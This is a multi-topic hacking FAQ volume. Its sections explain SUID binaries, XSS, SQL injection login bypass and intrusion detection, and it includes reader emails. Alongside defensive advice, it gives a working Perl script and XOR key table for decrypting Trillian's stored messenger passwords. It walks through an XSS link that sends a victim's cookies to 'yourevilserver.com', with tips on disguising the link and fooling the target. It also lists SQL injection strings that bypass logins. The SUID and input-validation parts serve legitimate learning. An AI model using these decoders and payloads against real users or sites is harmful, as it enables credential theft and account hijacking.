This was a requested topic via the Hack Faq form, but is also quite a frequently asked question on the boards I see, hence I though we should cover it. If you haven't read the previous topic on Unix ownership/permissions - I suggest you do so now.
Let's first establish what SUID is - SUID is short for Set User ID. As we explained in the previous topic, commands/files you execute always run with your privileges on the system - makes sense for security purposes, right? wrong - this is where SUID comes in. SUID files can be run with the privileges of the person who SUID'd them. When you run a program with the suid bit set, the program is run as the owner of the program rather than as you, the person running it. This means that when it is running the program has access to all of it's owners files and privileges. Does this sound dangerous to you? should do...because it is - but it's sometimes necessary. Let's take an example now, say the unix "passwd" command (which you can use to change your password for logging into the system). This is a typical use of the passwd program:
$ passwd
Changing password for wang
(current) UNIX password:
New UNIX password:
Password changed
Have you ever sat back and thought "what does it actually have to do to change my password?" - well, The passwd program has to be able to update the /etc/passwd and /etc/shadow files (or equivalent, depending on what *nix you are using), which are owned by root - so therefore, a typical binary not owner by root wouldn't be able to do it...and passwd must run as root to do this. So the dilemma is set - the program must be owner by root and modify files that only root should be able to modify - but allow you to run it as standard user. So, how does passwd achieve this? it is SUID - as the ls -l shows:
-rwsr-xr-x 1 root root 27K Jul 8 17:01 passwd
Notice the "s" in the privileges - that's how you identify the SUID binary. Therefore, passwd works because it's owner is root and it has the suid bit set - so we run passwd as our user, but the system automatically makes it run as root. This is all well and good, and you can no doubt see why SUID binaries are useful...however, there should also be alarm bells ringing in your heads. What if...the program was exploitable somehow - what if you could make the program execute any command you wish? if you could...it would execute any command you wish, not at your privilege level -but at the SUID level. Therefore, SUID-root programs are the largest security threat...since you can't get any better than being able to execute any command you wish as root!
SUID programs are so dangerous are also very dangerous because interaction with the untrusted user begins before the program is even started. There are many ways to confuse the program, using things like environment variables, signals, or anything you want. Exactly this 'confusion' of a program is a cause of frequent buffer overflows (which we will cover). More than 50 % of all major security bugs leading to releases of security advisors are accounted to SUID programs. And some distributions of *nix are shipped with hundreds of these suid programs, most of which you'll probably never use. Of course there are few which are necessary, in order that normal user might perform operations which are normally done by root (like the passwd example). So, we have another dilemma - we don't want to have risky SUID programs on our system....but we can't delete them all. Doh.
First things first...is there a quick way to find all the SUID binaries on my system? Yes - execute the following command from a shell:
for i in `find / -perm +6000 -type f`; do ls -aFl $i >> suids; done
This is a really good way of finding them, since it will go through searching and create a file in your current directory called "suids" which has the ls -l output of the SUID binary for you to see. If the above command doesn't work, it may be because the above command relies on GNU find, and you might be on a *nix variation with a less-friendly find...therefore try:
'find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \;
If you ran the first command above, you can then just "cat suids" or read it in your favourite editor (pico suids, vi suids, vim suids, etc) to see the list of SUID binaries found. If you ran the second find string...you should see the list appear in the shell as it searches. You will see all the usual suspects there - all the SUID one's you need, such as passwd, su, mount etc - but unfortunately, since every distribution and unix system will be different, I can't tell you which ones you need and which ones you don't :( - it will be process of discovery for you. Here is just a small list of the really common "ok" expected SUID binaries (there may be a lot more on yours though, don't panic)
/usr/bin/crontab
/usr/bin/newgrp
/usr/bin/passwd
/usr/local/bin/ssh
/usr/local/bin/screen-3.7.2
/usr/X11R6/bin/xload
/usr/X11R6/bin/xterm
/usr/X11R6/bin/XF86_Mach32
/var/qmail/bin/qmail-queue
/bin/su
The best way of doing it, is to log all the SUID binaries you have when you first put your system live...and then monitor the system to see if any odd SUID binaries are added at a later date. Bear in mind that a strange SUID binary appearing, could be the sign of a hacker backdooring an account. Just in case you do need to remove the SUID bit on something - it can be achieved by executing the chmod command like so:
chmod -s
We briefly mentioned earlier that buffer overflows are tied to SUID binaries being dangerous. This is because our worst fear, being able to make a SUID-root binary (or similar) execute any command of your choice, can come true if a buffer overflow exploit exists in the SUID program. I planned to include a topic on Buffer Overflows as the next topic in this faq volume, but I realised that there are so many excellent texts on it already, that I would only be rehashing what other people have said. I am therefore providing links to two excellent texts that deal with the subject, which I hope you will read. If there is a large demand for me to cover the topic..I will try and include it next time, but I really think the texts linked to below will help you understand the subject well enough.
For further reading, check:
AS you may remember, in past hack faq's we went through the ICQ password storage
technique, and how to decrypt ICQ .dat files in order to get the cleartext passwords from
them. Trillian is fast becoming one of the
most-popular instant messaging programs around. It is described as:
"Communicate with Flexibility and Style. Trillian is everything you need for
instant messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
Messenger and IRC in a single, sleek and slim interface."
That's right, trillian is an all-in-one program which allows you to be on ICQ, AIM (the
AOL instant messenger), MSN, Yahoo, and even IRC, all at once from one program. In itself,
trillian is a good program, with some nice features - but it suffers from an awful
password storage system. Although not compulsory, trillian saves your password to connect
to all the networks (ICQ, AOL, MSN etc) - and most people, out of convenience, will want
their passwords stored. The problem is that trillian stores them with only a very weak
encryption.
The trillian passwords are stored separately in .ini files (which relate to each network,
i.e. there is a msn.ini, and a aim.ini etc). These are stored in your trillian directory
(usually c:\program files\trillian\) in the "users" folder. Within the users
folder, the ini files will either be in a folder called "default" or a folder
named after your username. For example, on my installation for testing purposes, the
msn.ini was stored at:
c:\program
files\trillian\users\default\msn.ini
On opening this file...you find details like:
[msn]
auto reconnect=1
save passwords=1
idle time=15
show buddy status=1
port=1863
server=messenger.hotmail.com
last msn=someone@hotmail.com
connect num=10
connect sec=60
save status=1
ft port=6891
[profile 0]
name=someone@hotmail.com
password=A347F2B74EE9A9F6
and so on...
The line "password=A347F2B74EE9A9F6" is obviously the encrypted password that we
want to decrypt. Now, the encryption used here is a simple xor encryption of the original
password, which is then represented as hex. If we split the password into the actual hex
representation, it might make more sense:
A3 47 F2 B7 4E E9 A9 F6
Ok, when beating an xor encryption...you need to know what each letter of the original
password was xor'd with. Thankfully, there is an easy way to find this out - so long as
you know the original pass. And, as you may guess - knowing the xor key that trillian uses
to encrypt passwords, is also the key to being able to decrypt passwords that we don't
know!
First, we need to know what the hex value "A3" (the first value of the encrypted
password) represents in standard numbers. If you know your hex, you will know that the
value of "A3" is 163. I know for a fact that the first letter of my password is
"P", therefore - to find out what trillian xor'd with my original "P"
in order to get 163 - we do the following calculation:
Numeric value of A3 = 163
Numeric (ascii) value of P = 80
Calculation: 80 XOR 163 = 243
There we go - 243 is the number that the first value of your password is xor'd with. We
can test this by doing the process in reverse using this knowledge:
First letter of password = P
Ascii value of P = 80
XOR key for 1st char = 243
Calculation = 80 xor 243 = 163
163 in Hex = A3
Encrypted password so far: A3
Go on to 2nd character...and so on...
Hopefully, you can now see how trivial it is to get the rest of the xor key numbers and
how to decrypt the passwords once you have the xor key. Let me save you some time...the
xor key numbers for each char are (in order):
243, 038, 129, 196, 057, 134,
219, 146, 113, 163, 185, 230, 083, 122, 149, 124, 000, 000, 000, 000, 000, 000, 255, 000,
000, 128, 000, 000, 000, 128, 128, 000, 255, 000, 000, 000, 128, 000, 128, 000, 128, 128,
000, 000, 000, 128, 255, 000, 128, 000, 255, 000, 128, 128, 128, 000, 085, 110, 097, 098,
108, 101, 032, 116, 111, 032, 114, 101, 115, 111, 108, 118, 101, 032, 072, 084, 084, 080,
032, 112, 114, 111, 120, 000
As most passwords are usually 5-10 letters/numbers long, you will rarely need to use even
a quarter of those xor keys. And just to help clarify...here is a perl script I have
written which will decrypt an encrypted trillian password:
#!/usr/bin/perl
#################
# Trillian Password Decoder - Wang (wang@most-wanted.com)
# written for hack faq Volume 9 (faqs.wangproducts.net)
#################
# Uncomment if you are running as a cgi
#print "Content-type: text/html\n\n";
$encrypted = "A347F2B74EE9A9F6"; # put your encrypted password here!
$xorkeys = "243, 038, 129, 196, 057, 134, 219, 146, 113, 163, 185, 230, 083, 122, 149, 124, 000, 000, 000, 000, 000, 000, 255, 000, 000, 128, 000, 000, 000, 128, 128, 000, 255, 000, 000, 000, 128, 000, 128, 000, 128, 128, 000, 000, 000, 128, 255, 000, 128, 000, 255, 000, 128, 128, 128, 000, 085, 110, 097, 098, 108, 101, 032, 116, 111, 032, 114, 101, 115, 111, 108, 118, 101, 032, 072, 084, 084, 080, 032, 112, 114, 111, 120, 000";
$pointer = 0;
@keys = split(/, /, $xorkeys);
print "Decrypted Password: ";
foreach $key (@keys)
{
$passchar = chr(hex(substr($encrypted, $pointer, 2)) ^ $key);
print "$passchar";
last if ($pointer == length($encrypted) - 2);
$pointer += 2;
}
exit;
Ok, firstly - cross site scripting is commonly referred to as xss or css - but please do
not get it mixed up with the cascading style sheets (used in web pages, and also referred
to by the abbreviation css). I am covering this topic, because although a lot of people
have heard of it, usually from the term being mentioned in security/vulnerability
advisories, there is definitely a lack of understanding when it comes to what it actually
is, and why it occurs. This was a requested topic via the Hack Faq form and I decided that it would be
worth covering due to it being a major cause of security vulnerabilities at the moment.
Cross site scripting, in a way, took a lot of major sites (Ebay, Google, all sites running
phpnuke) and software developers by surprise when it emerged as a common flaw...and there
are millions cross site scripting flaws still out there, and many new one's being created
every day! To understand what cross site scripting (xss) is, we need to look at what makes
it possible. xss affects two things:
- Web browsers (such as Internet Explorer, Netscape, Mozilla, Opera)
- Web servers that dynamically generate pages based on unvalidated input (most web servers)
Most web browsers have the capability to interpret scripts embedded in web pages
downloaded from a web server. By this, we mean languages such as javascript (and also
Java, VBScript, ActiveX, Flash, etc) which can be embedded in a standard html page, for
example:
<html>
<head><title>My page</title></head>
<script>
alert("hello");
</script>
<body>
Welcome to my page on the web.
</body>
</html>
The javascript code embedded in the <script> tag's is not run by the web server, it
is run by your web browser when you access the page. Most browsers are installed with the
capability to run these scripts, and most of them have the feature enabled by default (and
let's face it, it's fairly rare for someone to turn it off and risk losing some
functionality on web pages they access). Filtering javascript and unwanted html from user
input is not a new thing - message forums/boards have been doing it for ages. If you post
on a message board, it's likely the admin doesn't want you posting your own javascript
into your messages, especially if it's malicious code that redirects anyone who views the
message to another site or something. Message forum scripts have become wise to the
possibility that you could be trying to embed unwanted code into your messages - and most
filter it out. How do they do this? Well, in the case where you are posting to the site -
the server has the chance to mediate your input and therefore can alter it to be
"safe" before storing it in a database or file for safe viewing by other users.
This is known as protecting data send by a client, for a client. However,
there is another possibility - that has been overlooked - the possibility that a client
may send malicious data intended to be used only by itself...i.e. data send by the
client, for itself.
Ok, you are probably thinking "what? - why would a user enter malicious code that
only they will see?". This is a common mistake - and a dangerous one, which gives
birth to xss. When might this situation occur? well, for example...say someone sends you a
link in an email like:
<A
HREF="http://www.someserver.com/postmessage.cgi?msg=<SCRIPT>code</SCRIPT>">Click
here</A>
All you see (if you don't look closely at the link before clicking) are the words
"Click here". So, say you clicked there....the url takes you to
www.someserver.com and includes the rouge javascript code in the url string - which is
passed into their postmessage.cgi script. Now, if the web server sends back any page to
the user which includes the value of "msg" which you submitted to the server by
clicking the link - the rouge code will be sent back to your browser, which (as we earlier
determined) will execute it since it thinks it's code embedded in the body of the html
file. What's just happened? put simply - the person that sent you the link, has just made
you execute any code they wanted you to. A hyperlink (as we have seen above) is a common
way for this kind of attack to be executed, since it is easy for the attacker to use some
form of url encoding to make the link you click on not so obviously malicious.
A similar, yet more devious attack can also be executed via the hyperlink technique, using
a link like so:
<A
HREF="http://www.someserver.com/postmessage.cgi?msg=<SCRIPT
SRC='http://anothersite.com/malicious_file'></SCRIPT>">Click
here</A>
Note the SRC attribute in the <SCRIPT> tag is making code from a presumably
unauthorized source (http://anothersite.com/malicious_file) be included into your trusted
page. Because one source is injecting code into pages sent by another source, this is
where the term Cross site scripting comes from. So what impact does this have on you, if
you were to be caught by a xss vulnerability? Everything from account hijacking, changing
of user settings, cookie theft/poisoning, and even exposing secure SSL encrypted
connections is possible. The most common use of xss seems to be to steal cookie's from
users, which in turn - often leads to account theft or session hijacking (sessions are
what you partake in on some sites when you are logged in to the site, it uses session data
to identify that you are in fact logged in, which is stored in cookies on your system).
How can a xss vulnerable server lead to your cookie being stolen though? Well, lets say
you find a xss vulnerability in hotmail (not quite as far fetched as it sounds considering
the zillions of major sites on the Internet that have been found to contain xss flaws) in
the script vulnerablescript.cgi - hotmail uses cookie's on your system during your time on
the site, so therefore it is possible to steal a users cookie via this xss hole we have
discovered.
xss vulnerabilities won't all operate in the same way, so it is important to test the hole
and see how it works, and more importantly - to find out how to make the output from the
exploit url believable to the person you will fool into going there (remember we are
aiming to steal a cookie, and it is best that the person doesn't realise their cookie has
been stolen!). By inserting code into the script, its output will be changed and the page
may appear broken. Then, you will need to insert some Javascript, or any of the other
types of code we mentioned, into the URL pointing to the part of the site that is
vulnerable. During this testing period, you should create the script that will steal/log
the cookie from the user once the xss exploit takes them to your site. This would
typically be a simple cgi script that just logs the query string when it is called (the
user's cookie data will be in the query string when they are redirected to your cgi). Now,
your string might look something like:
http://www.hotmail.com/vulnerablescript.cgi?variable="><script>document.location='http://yourevilserver.com/cgi-bin/stealcookie.cgi?
'%20+document.cookie</script>
If our "target" visited that link, they would be taken to the
vulnerablescript.cgi on the hotmail server - which would then read in the
"variable" from the query string...which of course contains our xss javascript
code. The javascript would then access the script
http://yourevilserver.com/cgi-bin/stealcookie.cgi on your server with your hotmail cookie
in the query string. Since your stealcookie.cgi is logging the querystring on every
request sent to it - you should then find our target's hotmail cookie sitting in your log.
The next step would be to url encode (probably using hex encoding) the URL a bit, so that
it's not so blatantly obvious what the link does, although this isn't 100% necessary -
just depends how dumb your target is. The last step is to make the target visit that
URL....which can be done in a zillion ways depending on how crafty you are - but more than
likely you will just send them the hyperlink through the email like we mentioned earlier.
Ok, now lets thing of xss from the other point of view - how do you prevent being
exploited by it? If you are a coder or the webmaster of a site, the answer is simple -
never trust user input! Always filter metacharacters and ensure that unwanted chars are
removed from user input before proceeding to process/output the data. Filtering/replacing
the chars < and > can go along way to prevent xss flaws cropping up - but also chars
like ( and ) and # and & should be filtered or replaced. From a user point of
view...never trust links from people you don't know - and try to ensure that you only
follow links from the main site you want to view. Don't click on a link to hotmail from
another site, always go to hotmail yourself etc. It's tough, but these measures would
protect you from most xss flaws. You should also consider turning off javascript in your
web browser (which prevents javascript being used as the injected code, which is common)
and set your IE settings to high if you use Internet Explorer. A friend of mine who
proof-read this volume also suggested - "By enforcing the Characterset for the web
page (along with other security mechanisms), you can effectively do input validation
through the automatic escaping of characters not found in the specified set. This is
useful in mitigating damage until proper input validation and testing can take
place." - so there are a few things you can do to make yourself safer.
I have also been recommended the following links, which you should check out if you want
to read further into this topic:
A number of web site are hacked as a result of something called "user input
validation/filtering" - or, to be more precise - the lack of it. This topic should be
a guide to web programmers (any language, php, asp, perl etc - but we will focus on
php/asp examples) on how to safely deal with user input. I will also be talking about why
this important, and giving examples of how sites that don't successfully filter user input
can have accounts on the server compromised, or worse. I am not going to be explaining the
SQL/php/asp code in much detail...so a basic knowledge of these languages will help you
understand this topic a bit better ;)
Firstly, what is the root cause of the problem? Is it the php/asp programming languages?
is it the database backend (whether it be mysql, sql server, access db, etc)? no...the
problem lies with the programmer of the site, and the users visiting the site. The problem
is that when you have a form on your web site, whether it be a login form (asking for a
username/password) or a comments form, or anything - you are asking the user to send
information into scripts on your web site. Although 18/20 users might use the form in the
intended way - there will always be 1 or 2 malicious users who will send your scripts data
they didn't expect. The moral of the story is - you simply can't trust unchecked user
input. However, let's not take my word for it...let's look at a simple login form in asp,
which takes a username/password and validates them against a table called
"users" in an access database (my comments are in green in the asp/php code):
<html> <head> <title>Please Login</title> </head> <body> <form action="logmein.asp" method="POST"> Username: <input type="text" name="username"><br> Password: <input type="text" name="password"><br><br> <input type="submit" value="Log In"> </form> </body> </html>
ASP Code for
"logmein.asp" (where the html form sends it's data):
<%
' get the username and password from the html form
User = Request.Form("username")
Pass = Request.Form("password")
' open a connection to the database
' I am using a DSN called mydatabase to make connecting a little simpler
Set Conn = server.CreateObject ("ADODB.Connection")
Conn.Open "mydatabase"
' here is the SQL statement to select the user's password from the database for comparing
SQL = "SELECT * FROM Users WHERE Username = '" & User & "' AND Password = '" & Pass & "'"
' make our database connection execute the query and store the results in the recordset rs
Set rs = Conn.Execute(SQL)
' if the username/password combo was found in the database then...
if not rs.EOF Then
' log the user in by setting the login session to "Yes" - this is how we identify logged in users
Session("login") = "Yes"
Conn.Close
' redirect the logged in user to the members page
Response.Redirect("memberpage.asp")
else
' the username/password didn't match! redirect them to the login screen again
Conn.Close
Response.Redirect("login.html")
end if
%>
And for reference...the PHP
equivalent code for "logmein.asp" (where the html form sends it's data):
<?
// get the username and password from the html form
$User = $_POST["username"];
$Pass = $_POST["password"];
// open a connection to the mysql database
$conn = @mysql_connect("localhost", "wang", "somepass");
if (!$conn)
{
echo ("Unable to connect to DB server at this time");
exit();
}
if (! @mysql_select_db("mydatabase") )
{
echo ("Unable to connect to database at this time");
exit();
}
// here is the SQL statement to select the user's password from the database for comparing
$sql = "SELECT * FROM Users WHERE Username = '$User' AND Password = '$Pass'";
// make our database connection execute the query and store the results in the recordset $rs
$rs = @mysql_query($sql);
// if the username/password combo was found in the database then...
if (mysql_num_rows($rs) > 0)
{
// log the user in by setting the login session to "Yes" - this is how we identify logged in users
session_start();
$_SESSION['login'] = "Yes";
mysql_free_result($rs);
mysql_close($conn);
// redirect the logged in user to the members page
header("Location: memberpage.php");
exit();
}
else
{
// the username/password didn't match! redirect them to the login screen again
mysql_free_result($rs);
mysql_close($conn);
header("Location: login.html");
exit;
}
?>
Ok...at first glance, this code might look ok - but if you use this code, you are putting
the accounts on your site at risk. The above html/asp code will allow a user to login to
your site without actually knowing a valid username/password combination. Lets look at why
this is possible...
The three important lines of the asp script are:
User = Request.Form("username")
Pass = Request.Form("password")
and...
SQL = "SELECT * FROM Users WHERE Username = '" & User & "' AND
Password = '" & Pass & "'"
And the three important lines of the php script are:
$User = $_POST["username"];
$Pass = $_POST["password"];
and...
$sql = "SELECT * FROM Users WHERE Username = '$User' AND Password = '$Pass'";
The reason these are important is because we are taking user input from an html form, and
passing it into a query - and more importantly - *no* checking on the user input has been
done! So effectively, we are passing anything the user wants, straight into the sql
string...and this is why this exploit works. Now, say I filled in the username field of
the html form in with "Wang" and the password field in with "qwerty" -
the SQL statement executed would look like:
SQL = "SELECT * FROM
Users WHERE Username = 'Wang' AND Password = 'qwerty'
This is a perfectly valid SQL statement, and is an example of a "perfect" input
from the forms (i.e. an expected input, with no malicious intent). This would be executed
by the database system, and providing a record in the "Users" table exists for
username "Wang" with password "qwerty" - we will be logged into the
web site. However...there is a problem. What if the person entered no input into the
username and password fields of the html form - and pressed submit. The SQL statement
would look like:
SQL = "SELECT * FROM
Users WHERE Username = '' AND Password = ''
When no input is provided, the fields are filled with an empty ''. This means, the
vulnerability is limited to strings that terminate with ' - since we need the SQL code to
succeed when it is executed by the Database, so we need to ensure it is well-crafted. For
example...if I entered the username in the html form as "'" (without the
quotes)...the SQL string would look like:
SQL = "SELECT * FROM
Users WHERE Username = ''' AND Password = ''
This means the SQL string now has too many 's - and therefore this query would fail, since
it is not well-formed. This is why it will be important when we submit our malicious input
to the form, to ensure we don't muck up the number of 's in the SQL string. By the way,
submitting just ' into a login form is a quick way of checking whether the code is
vulnerable to this particular form of sql-injection exploit. If the server returns an SQL
error...you know that the script hasn't filtered out your code...and the script is
probably vulnerable. Now, let's create our malicious string - we now enter "' or
''='" into the username field of the html form, and "' or ''='" into the
password field (both without the quotes!). The SQL string would therefore look like:
SQL = "SELECT * FROM
Users WHERE Username = '' or ''='' AND Password = '' or ''=''
This is a perfectly valid SQL string since all the 's have been matched, and we have
successfully injected our special "or" condition. In case you were wondering, ''
= '' always returns True by the database. Can you see what we have done? We are now saying
(if the SQL string was in english):
Give me all the fields from all the records in the database, where the Username field =
'' or '' = '' - but also make sure that the Passsword field = '' or '' = ''
Since '' always does equal '' - this query will succeed and we will be logged into the web
site (technically as the first user in the database) - without actually having ever
entered a real username or password. If you are still confused....I would recommend
loading up a database management system like mysql/access or whatever you have available -
and playing with the query....you will see that it does work! Ok...this is fairly bad as
you can log in to the site without actually knowing any valid usernames....but what about
if you wanted to log in as a particular username on the server? Easy - fill in the
username field of the html form with the desired username, say "Wang" - and then
complete the password field as before with "' or ''='" - therefore the SQL
string looks like:
SQL = "SELECT * FROM
Users WHERE Username = 'Wang' AND Password = '' or ''=''
Therefore, it matches the username Wang - and also succeeds on the password due to our
always True condition '' = '' - and we get logged in as Wang! There are lots of possible
SQL "injections" we can do to the html form to alter the SQL string - after all,
we practically have full control what the SQL statement does. You can even inject comments
in the style of /* and */ into the SQL, which makes it comment out certain aspects of the
SQL - for example, enter "'/*" into the username and "*/ OR '' = '"
into the password and we get:
SQL = "SELECT * FROM
Users WHERE Username = ''/*' AND Password = '*/ OR '' = ''
Since the /* and */ comment out everything between them, the SQL statement is interpreted
as:
SQL = "SELECT * FROM
Users WHERE Username = '' OR '' = ''
Which causes the SQL to succeed again! So, we have now identified the problems - but how
can all of these problems be prevented? Simple - User input validation. User input
validation or "input filtering" as it is sometimes known, is when user input is
processed by the script/server before it is passed to the database/file/script it is
destined for. When I say the input is processed, I mean it is checked to ensure there is
no unwanted or malicious data. Input validation can consist of just simply removing all
troublesome characters from the input (for example, as we saw above ' is a troublesome
character - so during input validation, if the input is destined to be included in an SQL
string - it should be filtered out!), or it can consist of checking the entire structure
of the user data (for example, checking that some input contains a valid email address, or
a valid URL). In general though, it usually means filtering bad characters from a string.
What are the bad characters? well - it's usually specific to what the data is going to be
used for, or where it is to be stored (file/database etc) - but common characters filtered
are: " * % ( ) / , ; . : # <> | \ '
However, there are better techniques - for example, if you know that a valid username
should only contain a-z - then why bother filtering only certain characters from a string?
just filter anything that isn't between a-z ! Most programming languages provide built in
functions to do this (and even if they don't, it's usually trivial to code). So, when
should user input be checked/validated? immediately after taking the data into the script!
As soon as the data is brought into a variable within the script, it should be checked
before anything else happens to it. Ok, so lets say in our asp/php example login scripts
above we know that the username and password should only contain a-z and 0-9 characters. I
will now provide the safe alternative asp/php script versions of the insecure ones I gave
you before, so you can see how it works:
ASP Code for
"logmein.asp" again, with user input validation added:
<%
' get the username and password from the html form
User = Request.Form("username")
Pass = Request.Form("password")
' Use RegExp object to filter all non a-z, 0-9, A-Z characters from the input!
Set re = Server.CreateObject("VBScript.RegExp")
re.Pattern = "[^a-zA-Z0-9]"
re.Global = true
User = re.Replace(User, "")
Pass = re.Replace(Pass, "")
' open a connection to the database
' I am using a DSN called mydatabase to make connecting a little simpler
Set Conn = server.CreateObject ("ADODB.Connection")
Conn.Open "mydatabase"
' here is the SQL statement to select the user's password from the database for comparing
SQL = "SELECT * FROM Users WHERE Username = '" & User & "' AND Password = '" & Pass & "'"
' make our database connection execute the query and store the results in the recordset rs
Set rs = Conn.Execute(SQL)
' if the username/password combo was found in the database then...
if not rs.EOF Then
' log the user in by setting the login session to "Yes" - this is how we identify logged in users
Session("login") = "Yes"
Conn.Close
' redirect the logged in user to the members page
Response.Redirect("memberpage.asp")
else
' the username/password didn't match! redirect them to the login screen again
Conn.Close
Response.Redirect("login.html")
end if
%>
And the PHP equivalent code for
"logmein.asp" with user input validation added:
<?
// get the username and password from the html form
$User = $_POST["username"];
$Pass = $_POST["password"];
// filter all non a-z, 0-9, A-Z chars from the input!
$User = ereg_replace("[^a-z0-9A-Z]", "", $User);
$Pass = ereg_replace("[^a-z0-9A-Z]", "", $Pass);
// open a connection to the mysql database
$conn = @mysql_connect("localhost", "wang", "somepass");
if (!$conn)
{
echo ("Unable to connect to DB server at this time");
exit();
}
if (! @mysql_select_db("mydatabase") )
{
echo ("Unable to connect to database at this time");
exit();
}
// here is the SQL statement to select the user's password from the database for comparing
$sql = "SELECT * FROM Users WHERE Username = '$User' AND Password = '$Pass'";
// make our database connection execute the query and store the results in the recordset $rs
$rs = @mysql_query($sql);
// if the username/password combo was found in the database then...
if (mysql_num_rows($rs) > 0)
{
// log the user in by setting the login session to "Yes" - this is how we identify logged in users
session_start();
$_SESSION['login'] = "Yes";
mysql_free_result($rs);
mysql_close($conn);
// redirect the logged in user to the members page
header("Location: memberpage.php");
exit();
}
else
{
// the username/password didn't match! redirect them to the login screen again
mysql_free_result($rs);
mysql_close($conn);
header("Location: login.html");
exit;
}
?>
Please note, that are a zillion other ways of doing this, php especially has a number of
built in functions to make input safe by adding slashes etc, or by encoding all html
special characters. Both of the above fixes use features of the language in order to
remove any characters from the input which aren't a-z, 0-9, or A-Z - therefore stripping
all malicious html and SQL characters. Obviously, this may not always be perfect for your
site - as sometimes you may want other characters to be allowed in the input - but this is
easily fixed by just adding the characters you want to allow to the regular expression
(the bit that reads [^a-z0-9A-Z]) - but remember that some characters in the regular
expression will need a \ in front of them to escape them (for example to allow . and - you
would need a regular expression like [^a-zA-Z0-9\.\-]). More information on regular
expression and input validation techniques can be found with a quick search in google.com
- but I hope I have shown you why there is a danger, and how to go about fixing it.
I have also been recommended the following links, which you should check out if you want
to read further into this topic:
- Web Application Security (XSS and SQL Injection) - http://www.cgisecurity.com/lib/web_security.pdf
- Advanced SQL Injection - http://www.nextgenss.com/papers/advanced_sql_injection.pdf
- More Advanced SQL Injection - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
Here are a couple of the more interesting emails I have sent (or been sent) since the
last volume. By interesting - I mean they were actually using the hack faq submission form
to ask me something productive, or request a topic - rather than ask me to get into an
email account for them.
Hi Wang,
I often search through the exploit sites on the Internet (some of which you mentioned in
the previous volumes of your hack faq) to try and find problems that might affect my site.
I found a couple of problems, and they contained "exploit code" to judge whether
the server was vulnerable or not but I have no idea what to do with the exploit code in
order to run it. Please help.
Digitalness
Wang's Reply:
Howdy,
Ok...you don't state which exploit or what kind of code it was (or even give a little bit
of the code so I can see what it is) - so I will be answering this question in a generic
sense. Mostly - exploit code will either be C or Perl. Sometimes you get specific php code
or something to exploit a php script, but on the whole (especially if the exploit is
socket related) it will be C/Perl...so I am guessing that is what you have in your exploit
code. C code has a .c extension (like myexploit.c or whatever) and Perl has a .pl
extension. Mostly, the exploit code will be written with the intension that you run it on
a *nix system from a shell...especially if the code is C. If the exploit code is written
in perl (you can identify it commonly if the first line of the code is something like
"#!/usr/bin/perl" or similar) - then you can run it from a shell (providing your
*nix shell has perl installed, which is common) using:
perl <exploit filename>
That is literally all you have to do...since perl scripts don't need compiling. You can
also get activeperl for Windows from ActiveState
and then do exactly the same command from a dos prompt once Perl is installed (the exploit
code might not work correctly if it is intended for *nix though). If the code is C
code...they will most likely be expecting you to compile it with gcc (GNU C Compiler),
which comes with every Unix distribution. Say you have an exploit called myexploit.c - to
compile it from the shell you would type:
gcc myexploit.c -o myexploit
This tells it to compile the file myexploit.c to myexploit (if you don't specify the -o
<filename> it will be compiled to a.out). To run it, you then must enter from the
shell:
./myexploit
Compiling many different types of C code successfully is really a topic in itself, so I
won't go in depth here - but for the majority of exploits, that is all you will have to
do.
Hello,
Thanks for the faqs you write, they have helped me to learn some of the stuff that I have
been trying to find out about for ages, keep up the good work. My question is what is an
ids and what is a dids? I hear the words used in some exploits and in some advisories on
the sites I visit but I can't find out what they are. I think it is something to do with
firewalls, but can you please explain this to me and do a topic on it? Sorry for my bad
use of english, it is not my first language so I hope you understand me ok.
Wang's Reply:
Howdy,
Ok, no problem - thanks for the comments. I am planning to do a full topic on this, but
for now I will answer you via email and probably include this in the emails section of the
faq volume 9.
An IDS is an abbreviation for "Intrusion Detection System". You are close when
you say it is something to do with firewall's, but in fact these things are seperate. Like
every network should have a firewall, every network should also have an IDS of some form
operating. The different between the two is, think of a firewall as a locked gate that
only allows the people you want through - and think of an IDS as the alarm bell on the
gate, that goes off when someone is trying to break through your gate into your complex.
In addition to this, also imagine your IDS is like a motion senser after you get past the
gate. Making sense? ;)
An IDS's job is to detect attacks. Most Intrusion Detection Systems have a library of
known attack patterns and can immediately identify and deny the attacker service as well
as notify the network administrator of such events. Not only can they detect pre-defined
attacks, they can also spot suspicious activity to/from the server and alert you of it.
There are different types of IDS, namely network based or host based. In a Network based
configuration an IDS is based on its own hardware and utilizes hardware sensors to detect
attacks. A Host based IDS is software running on a server. One hugely popular IDS is snort. Snort can detect connection attempts to ports on
your systems you specify to be blocked, and can also detect portscans, even stealth ones
and numerous other types of packet/connection based attacks. Snort is the IDS of choice
for the majority at the moment, since it's free, flexible, and really does it's job well.
A DIDS, or Distributed Intrusion Detection System is almost the same as a standard IDS
system, but a copy of the DIDS program is distributed to almost (if not all) hosts on the
network. Why have an IDS on every single host? because the IDS's can communicate amongst
themselves and have the ability to shut compromised hosts off from the rest of the
network. The main problem with running an IDS on a single host of your network is that, if
that host is compromised, your whole network is in trouble because the IDS system now has
0% security...and the IDS can be tampered with by the intruder. However, if you had DIDS -
all the distributed IDS's on each host communicate and as soon as suspicious activity on
one host, or a compromise is detected - your DIDS shuts that host outside of the firewall
(if possible), and blocks all communications from/to it...therefore securing the rest of
the network.
I do intend to go into this in more detail at some point (roping some people I know who
know tons on this subject in to help me!), but I hope this has cleared up the differences!
| Conclusion |
| I think we have made a natural progression from Volume 8, and are still covering
all the topics you guys/gals are interested in learning. If I am not covering the type of
things you want to see, then please do use the topic
request form on the site to request something you actually want to see. We are now
going into a mixture of topics, covering a bit more *nix, but still covering newbie topics
such as the web-based email...so I hope you are still enjoying the ride ;) - this is of
course, not the end...and you will have to stay tuned for Volume 10! If there is anything I haven't covered and you would like me to consider putting into my next text file, please email me at: wang@most-wanted.com - ALSO! if you have any other methods of solving the questions that I have answered, please send them to me and I will consider putting your solution in as well (with full credit to you obviously). |
Friday, January 12, 2007
© All Rights Reserved